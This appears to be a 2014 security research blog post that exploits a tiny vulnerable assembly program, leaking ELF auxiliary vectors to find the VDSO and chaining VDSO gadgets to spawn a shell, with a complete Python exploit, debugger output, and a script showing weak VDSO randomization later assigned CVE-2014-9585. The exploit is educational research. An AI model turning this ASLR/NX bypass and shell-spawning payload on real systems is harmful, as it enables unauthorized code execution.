Saturday, December 6, 2014

Return to VDSO using ELF Auxiliary Vectors

This post is about exploiting a minimal binary without SigReturn Oriented Programming (SROP). Below is demo code, thanks to my friend Zubin for bringing up this problem.
section .text

global _start
jmp _start
vuln:
sub rsp, 8
mov rax, 0 ; sys_read
mov rdi, 0
mov rsi, rsp
mov rdx, 1024
syscall
add rsp, 8
ret
  
_start:
call vuln
mov rax, 60 ; sys_exit
xor rdi, rdi
syscall
Lets see how I exploited this remotely bypassing ASLR and NX without SROP. This is what the crash looks like supplying "A"*16
(gdb) x/i $rip
=> 0x40009e: retq   
(gdb) info registers 
rax            0x11 17
rbx            0x0 0
rcx            0x40009a 4194458
rdx            0x400 1024
rsi            0x7fffffffe1a0 140737488347552
rdi            0x0 0
rbp            0x0 0x0
rsp            0x7fffffffe1a8 0x7fffffffe1a8
r8             0x0 0
r9             0x0 0
r10            0x0 0
r11            0x206 518
r12            0x0 0
r13            0x0 0
r14            0x0 0
r15            0x0 0
rip            0x40009e 0x40009e
eflags         0x10202 [ IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/100gx $rsp
0x7fffffffe1a8: 0x4141414141414141 0x000000000000000a
0x7fffffffe1b8: 0x00007fffffffe484 0x0000000000000000
0x7fffffffe1c8: 0x00007fffffffe498 0x00007fffffffe4a3
0x7fffffffe1d8: 0x00007fffffffe4b4 0x00007fffffffe4d3
0x7fffffffe1e8: 0x00007fffffffe508 0x00007fffffffe51f
0x7fffffffe1f8: 0x00007fffffffe533 0x00007fffffffe543
0x7fffffffe208: 0x00007fffffffe554 0x00007fffffffe562
0x7fffffffe218: 0x00007fffffffe57a 0x00007fffffffe58c
0x7fffffffe228: 0x00007fffffffe5c0 0x00007fffffffe5e1
0x7fffffffe238: 0x00007fffffffe5ee 0x00007fffffffec8a
0x7fffffffe248: 0x00007fffffffecba 0x00007fffffffeccb
0x7fffffffe258: 0x00007fffffffed19 0x00007fffffffed25
0x7fffffffe268: 0x00007fffffffed3b 0x00007fffffffed58
0x7fffffffe278: 0x00007fffffffedbf 0x00007fffffffedce
0x7fffffffe288: 0x00007fffffffede0 0x00007fffffffedf2
0x7fffffffe298: 0x00007fffffffee06 0x00007fffffffee17
0x7fffffffe2a8: 0x00007fffffffee2e 0x00007fffffffee43
0x7fffffffe2b8: 0x00007fffffffee4c 0x00007fffffffee5d
0x7fffffffe2c8: 0x00007fffffffee74 0x00007fffffffee7c
0x7fffffffe2d8: 0x00007fffffffee8f 0x00007fffffffee9e
0x7fffffffe2e8: 0x00007fffffffeeca 0x00007fffffffeeda
0x7fffffffe2f8: 0x00007fffffffef3c 0x00007fffffffef5f
0x7fffffffe308: 0x00007fffffffef6c 0x00007fffffffef77
0x7fffffffe318: 0x00007fffffffef96 0x00007fffffffefcb
0x7fffffffe328: 0x0000000000000000 0x0000000000000021
0x7fffffffe338: 0x00007ffff7ffd000 0x0000000000000010
0x7fffffffe348: 0x000000000fabfbff 0x0000000000000006
0x7fffffffe358: 0x0000000000001000 0x0000000000000011
0x7fffffffe368: 0x0000000000000064 0x0000000000000003
0x7fffffffe378: 0x0000000000400040 0x0000000000000004
0x7fffffffe388: 0x0000000000000038 0x0000000000000005
0x7fffffffe398: 0x0000000000000001 0x0000000000000007
0x7fffffffe3a8: 0x0000000000000000 0x0000000000000008
0x7fffffffe3b8: 0x0000000000000000 0x0000000000000009
0x7fffffffe3c8: 0x0000000000400080 0x000000000000000b
0x7fffffffe3d8: 0x00000000000003e8 0x000000000000000c
0x7fffffffe3e8: 0x00000000000003e8 0x000000000000000d
0x7fffffffe3f8: 0x00000000000003e8 0x000000000000000e
0x7fffffffe408: 0x00000000000003e8 0x0000000000000017
0x7fffffffe418: 0x0000000000000000 0x0000000000000019
0x7fffffffe428: 0x00007fffffffe469 0x000000000000001f
0x7fffffffe438: 0x00007fffffffefe4 0x000000000000000f
0x7fffffffe448: 0x00007fffffffe479 0x0000000000000000
0x7fffffffe458: 0x0000000000000000 0x0000000000000000
0x7fffffffe468: 0xf196161a3b373e00 0x8a1a3b02380b0831
0x7fffffffe478: 0x0034365f3638780b 0x6d6f682f00000000
ELF Auxiliary Vectors
As observed, the saved RIP is overwritten with 0x4141414141414141. After the saved RIP resides the argc. In this case argc with value 0x1 is being overwritten by new line. After argc is the argv array terminated by NULL. argv[0] points to program name. Then follows the env array of pointers. What comes after env is the interesting part, we have ELF Auxiliary Vectors. Auxiliary Vector has lot of information including a few pointers. This is what it looks like:
[root@localhost rrobert]# LD_SHOW_AUXV=1 id
AT_SYSINFO_EHDR: 0x7fff511fe000
AT_HWCAP:        fabfbff
AT_PAGESZ:       4096
AT_CLKTCK:       100
AT_PHDR:         0x400040
AT_PHENT:        56
AT_PHNUM:        9
AT_BASE:         0x7f4f98e72000
AT_FLAGS:        0x0
AT_ENTRY:        0x402538
AT_UID:          0
AT_EUID:         0
AT_GID:          0
AT_EGID:         0
AT_SECURE:       0
AT_RANDOM:       0x7fff51193199
AT_EXECFN:       /bin/id
AT_PLATFORM:     x86_64
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
AT_SYSINFO_EHDR is the address of VDSO (Virtual Dynamic Shared Object). VDSO has limited set of gadgets, which could be useful to perform ROP. If AT_SYSINFO_EHDR value could be leaked one could return into vdso.

Triggering Information Leak
[*] First send enough bytes to overwrite the RIP to call sys_read
[*] Send one byte of data ie only a new line. This will set RAX = 0x1 , which is syscall number for write
[*] RDI will still point to stdin, RSI is a pointer in stack and RDX = 1024
[*] Trigger a syscall. Since stdin descriptor is not read-only and points to same character device as stdout, we can actually write into it
[*] This will leak 1024 bytes of stack data including the ELF Auxiliary Vector

ELF Auxiliary Vector is nothing but key value pairs. AT_RANDOM is pointer into the stack area, which is immediately after the vector table. This could be reliably used to compute the address of read buffer since the offset is known. So from the leaked ELF Auxiliary Vector, base address of vdso and address of read buffer could be found. Now lets chain a ROP payload from vdso

return-to-vdso
vdso could be dumped and searched upon for gadgets.
gdb-peda$ vmmap
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]

gdb-peda$ dumpmem vdso.so 0x00007ffff7ffd000 0x00007ffff7fff000
Dumped 8192 bytes to 'vdso.so'

file vdso.so
vdso.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0x69c5bc417a94f7f87f08ab2002f9252836ab7aac, stripped
The idea of payload was to make the call execve('/bin/sh',0,0) . Since read buffer address is known, we could place /bin/sh in stack itself. Then we need gadgets to load RAX with syscall number for execve, RDI with pointer to /bin/sh, RSI and RDX set to NULL. Below are the gadgets found in vdso of Fedora 20

Set EDX = 0
xor edx,edx; 
mov QWORD PTR [rsi+0x8],rax; 
add rdi,rdx; 
test r12d,r12d; 
mov QWORD PTR [rsi],rdi; 
jne addr; 
nop DWORD PTR [rax+0x0]; 
movsxd rdi,r15d; 
mov eax,0xe4; 
syscall; 
add rsp,0x28; 
pop rbx; 
pop r12; 
pop r13; 
pop r14; 
pop r15; 
pop rbp; 
ret  
Populate RSI
pop rsi; 
pop r15; 
pop rbp; 
ret
Populate RDI
pop rdi; 
pop rbp; 
ret
Control EAX
add eax, dword [rbx] ; 
retn 0x0005
Below is exploit to get remote shell bypassing ASLR and NX:
#!/usr/bin/env python

import telnetlib
import socket
import struct
import time

ip = '127.0.0.1'
port = 3335

# id's of Auxillary Vectors
AT_SYSINFO_EHDR = 0x21
AT_HWCAP  = 0x10 
AT_PAGESZ  = 0x06
AT_CLKTCK = 0x11
AT_PHDR  = 0x03
AT_PHENT = 0x04
AT_PHNUM = 0x05
AT_BASE  = 0x07
AT_FLAGS = 0x08
AT_ENTRY = 0x09
AT_UID  = 0x0b
AT_EUID  = 0x0c
AT_GID  = 0x0d
AT_EGID  = 0x0e
AT_SECURE = 0x17
AT_RANDOM = 0x19
AT_EXECFN = 0x1f
AT_PLATFORM     = 0x0f

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# stage ONE
payload  = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += struct.pack("<Q", 0x400098)   # syscall to sys_write depending on RAX
payload += struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += chr(0xa)
soc.send(payload)
time.sleep(2.0)

# write single byte to setup RAX for sys_write
soc.send(chr(0xa))
time.sleep(2.0)

# read the information leaked which contains Auxillary Vector
ENV_AUX_VEC = soc.recv(1024)

QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
    QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

offset = 0x2b9
random_address = AUX_VEC_ENTRIES[AT_RANDOM]
buffer_address = random_address - 0x2b9
print "[*] Buffer address in stack : %s" % hex(buffer_address)  

# stage TWO

offset_xor_edx = 0x7b0 # xor edx,edx; mov QWORD PTR [rsi+0x8],rax; add rdi,rdx; test r12d,r12d; mov QWORD PTR [rsi],rdi; jne addr; nop DWORD PTR [rax+0x0]; movsxd rdi,r15d; mov eax,0xe4; syscall; add rsp,0x28; pop rbx; pop  r12; pop r13; pop r14; pop  r15; pop rbp; ret
offset_pop_rsi = 0x7dc # pop rsi; pop r15; pop rbp; ret
offset_pop_rdi = 0x7de # pop rdi; pop rbp; ret
offset_add_eax = 0x600 # add eax, dword [rbx] ; retn 0x0005
offset_eax_val = 0x672 # 0x3b for sys_execve
syscall = 0x400098

payload  = struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", vdso_address + offset_xor_edx)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_eax_val)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_add_eax) # this will unalign the stack by 5 bytes
payload += struct.pack("<Q", vdso_address + offset_pop_rdi)
payload += chr(0x00)    # PAD
payload += struct.pack("<I", 0x00000000) # PAD
payload += struct.pack("<Q", buffer_address)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_pop_rsi)
payload += struct.pack("<Q", 0x0000000000000000)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", syscall)  # execve("/bin/sh", 0, 0)
payload += chr(0xa)
soc.send(payload)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
[renorobert@localhost aux_vec]$ nc -vvv -e ./chall -l -p 3335
Listening on any address 3335 (directv-soft)
Connection from 127.0.0.1:39658
Passing control to the specified program

[renorobert@localhost aux_vec]$ python sploit_aux_vec.py 
[*] Base address of VDSO : 0x7fff25ded000
[*] Buffer address in stack : 0x7fff25cba1c0
id
uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
VDSO would change across versions, so availability of gadgets may also differ.

VDSO Address Bruteforce

Also, VDSO address is not very random. One can brute force its base address even in 64 bit.
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffac97e000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe2d38000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe0de7000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff43926000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ while true; do ldd /bin/ls; done | grep 0x00007fff009fe000
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
Update - CVE-2014-9585

The VDSO entropy issue is assigned CVE-2014-9585. New patch improves ASLR from 11 quality bits to 18 quality bits as per paxtest. Further information below

Bug 89591 - VDSO randomization not very random
oss-sec discussion

Below is the code to show biased bits
#!/usr/bin/env python

import subprocess
import re

bentropy = {}
size = 64
for _ in range(size): 
    bentropy[_] = {0:0, 1:0}
NSAMPLE = 500
print "[*] Sampling %d addresses" %(NSAMPLE)

def get_vdso_address(NSAMPLE):
    for _ in range(NSAMPLE):
        l = subprocess.check_output(["ldd", "/bin/ls"])
        vdso_entry = l.split(chr(0xa))[0]
        vdso_address = re.search("0x([A-Fa-f\d]{16})", vdso_entry)
        vdso_address = vdso_address.groups()[0]
        vdso_address = int(vdso_address, 16)
        yield vdso_address

for address in get_vdso_address(NSAMPLE):
    for index in range(size):
        bit = (address >> index) & 1
        key = size - index - 1
        bentropy[key][bit] += 1

probable_address = 0x0

for key, value in bentropy.items():
    if value[0] > value[1]:
        probable_address = (probable_address << 1)
    else:
        probable_address = (probable_address << 1) | 1
    print "%02d ['0':%05d, '1':%05d]" %(key, value[0], value[1])

print "[*] Probable address to use : %s" % hex(probable_address)
renorobert@ubuntu:~/vdso$ python vdso.py 
[*] Sampling 500 addresses
00 ['0':00500, '1':00000]
01 ['0':00500, '1':00000]
02 ['0':00500, '1':00000]
03 ['0':00500, '1':00000]
04 ['0':00500, '1':00000]
05 ['0':00500, '1':00000]
06 ['0':00500, '1':00000]
07 ['0':00500, '1':00000]
08 ['0':00500, '1':00000]
09 ['0':00500, '1':00000]
10 ['0':00500, '1':00000]
11 ['0':00500, '1':00000]
12 ['0':00500, '1':00000]
13 ['0':00500, '1':00000]
14 ['0':00500, '1':00000]
15 ['0':00500, '1':00000]
16 ['0':00500, '1':00000]
17 ['0':00000, '1':00500]
18 ['0':00000, '1':00500]
19 ['0':00000, '1':00500]
20 ['0':00000, '1':00500]
21 ['0':00000, '1':00500]
22 ['0':00000, '1':00500]
23 ['0':00000, '1':00500]
24 ['0':00002, '1':00498]
25 ['0':00000, '1':00500]
26 ['0':00004, '1':00496]
27 ['0':00003, '1':00497]
28 ['0':00003, '1':00497]
29 ['0':00003, '1':00497]
30 ['0':00005, '1':00495]
31 ['0':00005, '1':00495]
32 ['0':00266, '1':00234]
33 ['0':00241, '1':00259]
34 ['0':00250, '1':00250]
35 ['0':00274, '1':00226]
36 ['0':00228, '1':00272]
37 ['0':00264, '1':00236]
38 ['0':00249, '1':00251]
39 ['0':00266, '1':00234]
40 ['0':00238, '1':00262]
41 ['0':00259, '1':00241]
42 ['0':00260, '1':00240]
43 ['0':00060, '1':00440]
44 ['0':00091, '1':00409]
45 ['0':00100, '1':00400]
46 ['0':00121, '1':00379]
47 ['0':00123, '1':00377]
48 ['0':00118, '1':00382]
49 ['0':00128, '1':00372]
50 ['0':00126, '1':00374]
51 ['0':00371, '1':00129]
52 ['0':00500, '1':00000]
53 ['0':00500, '1':00000]
54 ['0':00500, '1':00000]
55 ['0':00500, '1':00000]
56 ['0':00500, '1':00000]
57 ['0':00500, '1':00000]
58 ['0':00500, '1':00000]
59 ['0':00500, '1':00000]
60 ['0':00500, '1':00000]
61 ['0':00500, '1':00000]
62 ['0':00500, '1':00000]
63 ['0':00500, '1':00000]
[*] Probable address to use : 0x7fff6a9fe000
Only bits 32 to 42 [11 bits] are properly randomized and rest are biased leading to bruteforce

2 comments :

  1. where do you have the address of sys_read from?
    section "Triggering Information Leak" is not very clear.....very confusing, can you rephrase a bit?

    Thanks!

    ReplyDelete
  2. read syscall is already part of the code. You could reuse that.

    Regarding information leak, there is no write syscall in the executable. We need to find a way to call sys_write to dump the stack. How can we? syscall number for write is 0x1, also read syscall returns the count of bytes it reads.

    So by sending 1 byte data, read() will return 1 ie RAX is set to 1. Now if syscall gadget is used, write() is called with same argument as read().

    write(0, buf, 1024)

    This will leak 1024 bytes of stack memory.

    ReplyDelete